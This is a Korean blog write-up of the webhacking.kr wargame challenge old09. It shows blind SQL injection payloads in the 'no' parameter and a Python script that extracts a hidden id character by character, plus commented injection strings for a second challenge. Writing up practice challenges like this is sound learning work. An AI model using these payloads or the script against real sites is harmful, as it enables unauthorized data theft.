webhacking.kr - old09

2021. 4. 20. 09:47WarGame/webhaking.kr

처음 접속하면 위와 같이 나온다.

1은 애플

2는 바나나

3은

무언가 힌트를 준다.

3을 활용해서 sqli를 시도하면 될 듯하다.

소스코드를 확인하고 결과를 확인할 수 없는 bsqli 같은데, 필터링들이 다수 존재한다.

> webhacking.kr/challenge/web-09/?no=if(length(id)like(11),3,0)

[

Challenge 9

webhacking.kr

](https://webhacking.kr/challenge/web-09/?no=if(length(id)like(11),3,0))

위와 같은 구문으로 11자리라는 것을 구할 수 있고,

똑같이 id의 각 자리를 찾아주면 된다.

페이로드는 아래와 같다.

import requests

result = ""
string = "abcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()-=+[]{};:'\"<>,.?/ABCDEFGHIJKLMNOPQRSTUVWXYZ"
#24letter
for i in range(1, 12) :
    for j in string :
        URL = "https://webhacking.kr/challenge/web-09/?no=if(substr(id,"+str(i)+",1)like("+str(hex(ord(j)))+"),3,0)"
        response=requests.get(URL)
        print(URL)
        if "Secret" in response.text :
            print("["+str(i)+"th] password is = " + str(j))
            result += str(chr(ord(j)))
            print(result)
            break;

print(result)

#0||id=0x61646d696e&&length(pw)>0

#https://webhacking.kr/challenge/web-29/?no=0||substr(pw,1,1)=0x6c&id=guest&pw=guest

'WarGame > webhaking.kr' 카테고리의 다른 글

webhacking.kr - old40  (0) 2021.04.17
webhacking.kr - old29  (0) 2021.04.16
webhacking.kr - old45  (0) 2021.04.15
webhacking.kr - old50  (0) 2021.04.14
webhacking.kr - old28  (0) 2021.04.13